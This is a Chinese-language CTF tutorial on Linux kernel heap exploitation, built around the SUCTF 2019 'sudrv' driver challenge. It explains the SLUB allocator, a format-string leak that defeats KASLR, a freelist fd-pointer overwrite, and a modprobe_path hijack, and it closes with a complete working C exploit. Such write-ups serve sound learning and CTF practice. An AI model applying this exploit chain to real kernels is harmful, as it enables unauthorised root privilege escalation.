Kernel pwn 基礎教程之 Heap Overflow
一、前言
在如今的CTF比賽大環境下,掌握glibc堆內存分配已經成為了大家的必修課程。然而在內核態中,堆內存的分配策略發生了變化。筆者會在介紹內核堆利用方式之前先簡單的介紹一下自己了解的內核內存分配策略,如有不對的地方歡迎師傅們指正。
二、前置知識
在Linux系統中通過分段與分頁機制將物理內存劃分成4kb大小的內存頁,而涉及到內存分配不可避免的就會產生外部碎片與內部碎片問題,這個在物理頁中也是一樣的,為了避免這種情況內核管理物理頁采用了兩個策略:buddy system與slub算法。
伙伴系統(buddy system)以頁為單位對內存進行管理,將相同大小的連續物理頁以鏈表形式進行管理,物理頁就像手拉手的好伙伴一樣,這就是伙伴系統名字的由來。所有的空閑頁以11個鏈表進行管理(2^n),而系統申請的內存大小總是能在伙伴系統中找到合適的范圍,可以避免因為分配次數過多而產生外部碎片的情況。
當內核申請內存時,伙伴系統以頁為單位進行分配,而內核在很多情況下并不需要一整頁的內存空間,往往只需要很小的內存空間,而這也就造成了內部碎片的產生,而slub算法正是為了滿足系統申請小內存的需求。
slub算法從伙伴系統申請空閑的內存頁即slab,slab是由一個或多個內存頁構成(一般為單頁)。并把這個slab劃分為一個個object,并將這些object組成一個單向鏈表進行管理,這里需要注意slub系統把內存塊當成object看待,而不是伙伴系統中的頁。當系統申請小內存時slub算法會根據kmem_cache_cpu中slab是否存在空閑object來進行操作:
1、kmem_cache_cpu中的slab存在空閑object,則直接分配object。
2、kmem_cache_cpu中的slab不存在空閑object,則會將全部分配的slab加入到kmem_cache_node的full鏈中,并從partial鏈中取出一個部分分配的slab,分配object給系統。
3、kmem_cache_cpu中的slab不存在空閑object且kmem_cache_node中也不存在半空閑的object,則會將全部分配的slab加入到kmem_cache_node的full鏈中,并向伙伴系統申請新的空閑頁,分配object給系統。
三、漏洞演示
在前置知識中我們簡單的介紹了內核內存分配策略,并且我們不難發現slub算法的管理方式與glibc中fastbin鏈類似,都是單鏈表形式管理,所以當內核存在堆溢出漏洞時我們完全可以通過修改其fd指針將我們想要進行寫入的內存地址加入到freelist中。利用思路不算很難但是在實際利用中往往會因為環境中的一些隨機性而增加利用的難度。
本次選擇演示的例題是2019-SUCTF的sudrv例題,查看start.sh中的信息可以發現開啟了kaslr保護與smep保護。
#! /bin/sh qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \ -monitor /dev/null \ -nographic 2>/dev/null \ -smp cores=2,threads=1 \ -s \ -cpu kvm64,+smep
ida反編譯程序,查看sudrv_ioctl函數內容。

可以看出ioctl中實現了三種功能,具體如下所示:
0x73311337 --> 申請堆塊 0xDEADBEEF --> 調用sudrv_ioctl_cold_2函數 0x13377331 --> 釋放堆塊
其中sudrv_ioctl_cold_2函數的內容如下所示,發現其調用printk函數,格式化參數存于se_buf中,因題目環境未做出限制故我們可以通過dmesg命令查看printk函數的輸出。
void __fastcall sudrv_ioctl_cold_2(__int64 se_buf, __int64 a2)
{
printk(se_buf, a2);
JUMPOUT(0x38LL);
}
模塊中定義了sudrv_write函數,這個函數中使用的copy_user_generic_unrolled未對輸入長度進行檢測,存在堆溢出,并且su_buf作為printk函數中格式化字符串參數的位置,同時存在格式化字符串漏洞。
__int64 sudrv_write()
{
if ( copy_user_generic_unrolled(su_buf) )
return -1LL;
else
return sudrv_write_cold_1();
}
找到了漏洞點以后我們就可以構思利用思路了,結合我們之前學到的內核利用知識不難想到大體的利用思路框架
找到漏洞點 --> 繞過保護 --> 提權 --> 返回用戶態獲取rootshell
KASLR保護我們可以通過修改start.sh的kaslr為nokaslr暫時關閉保護,利用格式化漏洞泄露出地址后計算出相應偏移即可繞過KASLR保護。
SMEP保護即內核態禁止執行用戶態代碼,我們可以通過BYPASS_SMEP修改cr4寄存器的值關閉SMEP保護,再通過swapgs和iretq完成用戶態的跳轉即可獲取到rootshell。
而關于如何劫持程序控制流,我們在前置知識中了解到了內核內存分配機制,并且在本題中存在堆溢出漏洞。我們可以通過格式化字符串泄露出棧地址并利用堆溢出漏洞覆蓋掉在freelist中空間堆塊的fd指針為棧地址,這樣我們再申請堆內存即可申請到棧地址上,覆蓋函數返回地址為我們布置的ropchain即可劫持程序流。

整體的利用思路就是這樣,但是內核環境往往伴隨著隨機性,經常會出現的一種情況就是在freelist的空閑object并不是按照地址順序進行排列的,這也就造成了往往我們通過堆溢出覆蓋在freelist中object的fd指針。
預期期望堆溢出前: se_buf -地址連續-> 空閑object -(fd)-> 空閑object 預期期望堆溢出后: se_buf -地址連續-> 空閑object -(覆蓋fd指針)-> 棧地址 +------------------------------------------------+ 實際環境中可能出現的情況: se_buf -地址不連續-> 空閑object -(fd)-> 空閑object #因虛擬地址不連續,故無法通過溢出覆蓋掉freelist中object的fd指針。
通過gdb遠程動調我們可以看到內核內存的變化情況,在執行完kmalloc函數的時候觀察rax中freelist的情況。
可以看到0x2f000結尾的object為我們通過kmalloc申請到的地址,然而其指向的下一個object地址并不是0x30000而是以0x2b000結尾,也就是說freelist中的內存地址會因為內核函數的調用而產生消耗,從而影響我們的布局利用。

即使我們成功劫持了程序流執行了ropchain,也會出現在提權時發生內核錯誤從而重啟的情況。所以我們再利用本題的時候選擇換一種思路,將原先的棧地址換成modprob_path地址加入到freelist鏈表中。在這里簡單介紹一下為什么我們要劫持這個地址。
當內核執行一個錯誤的文件或未知文件類型的時候,就會調用modprob_path所指向的程序,如果我們修改他所指向的程序為我們自己寫的一個sh文件,并利用system或execve函數去執行一個位置類型的文件,那么在發生錯誤的時候就會以root權限執行我們自己寫的sh文件中的內容。
我們可以在自己的exp中通過system函數創建一個sh文件將root權限下的flag文件拷貝到tmp目錄下并賦予777的權限。
system("echo -ne '#!/bin/sh/bin/cp /Flag/flag /tmp/flag/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
system("chmod +x /tmp/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl");
system("chmod +x /tmp/fl");
modprob_path的地址并不能從/proc/kallsyms中找到地址,不過我們可以通過其他函數對于modprob_path的引用找到它的地址。在/proc/kallsyms中查找__request_module函數地址,然后在gdb中查看函數的匯編信息,就可以找到modprob_path的地址。

我們在sudrv_write函數處下斷點,然后在調用copy_user_generic_unrolled時可以發現其rdi指向的正是我們的modprob_path地址,rsi中為我們要寫入的字符串。

ni繼續往下走,發現已經成功寫入。

完整EXP如下所示:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define KMALLOC 0x73311337
#define PRINTK 0xDEADBEEF
#define KFREE 0x13377331
unsigned long long int user_cs, user_ss, user_rflags, user_sp;
unsigned long long int raw_kernel_addr = 0xffffffff811c827f;
void main() {
unsigned long long int kernel_addr = 0;
unsigned long long int overflow[0x201] = {0};
int fd = open("/dev/meizijiutql", O_WRONLY);
char tmp_str[0x30];
system("echo -ne '#!/bin/sh/bin/cp /Flag/flag /tmp/flag/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
system("chmod +x /tmp/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl");
system("chmod +x /tmp/fl");
ioctl(fd, KMALLOC, 0xff0);
ioctl(fd, KMALLOC, 0xff0);
ioctl(fd, KMALLOC, 0xff0);
char *str = "%llx %llx %llx %llx %llx kernel: %llx %llx %llx %llx stack: %llx %llx";
write(fd, str, strlen(str));
// full printk buffer
ioctl(fd, PRINTK);
ioctl(fd, PRINTK);
system("dmesg |grep kernel | grep stack | cut -b 42-58 | head -1 > tmp.txt");
int fd_tmp = open("./tmp.txt", 2);
read(fd_tmp, tmp_str, sizeof(tmp_str));
sscanf(tmp_str, "%llx", &kernel_addr);
unsigned long long int offset = kernel_addr - raw_kernel_addr;
unsigned long long int modprob_path = 0xffffffff82242320 + offset;
printf("modprob_path: 0x%llx ", modprob_path);
// // heap overflow
overflow[0x200] = modprob_path;
ioctl(fd, KMALLOC, 0xff0);
write(fd, overflow, sizeof(overflow));
ioctl(fd, KMALLOC, 0xff0);
write(fd, "/tmp/getflag.sh", 0x10);
ioctl(fd, KMALLOC, 0xff0);
write(fd, "/tmp/getflag.sh", 0x10);
ioctl(fd, KMALLOC, 0xff0);
write(fd, "/tmp/getflag.sh", 0x10);
system("/tmp/fl");
system("cat /tmp/flag");
}

四、總結
修改modprob_path中的字符串指向我們創建的sh文件的利用辦法在有任意地址寫入的時候是非常簡潔有效的,相較于ROP需要先bypass然后再提權返回用戶態相比不僅簡練而且成功率要更高,而本文中僅僅是對內核內存分配策略進行了一些簡單的概念性描述,而想要學的更加深入的師傅這邊還是推薦再閱讀完本篇文章后再去自主了解一些內核內存分配所涉及的關鍵代碼,相信在學習的過程中你一定會有所收獲的。
點擊“ 閱讀原文 ”靶場實操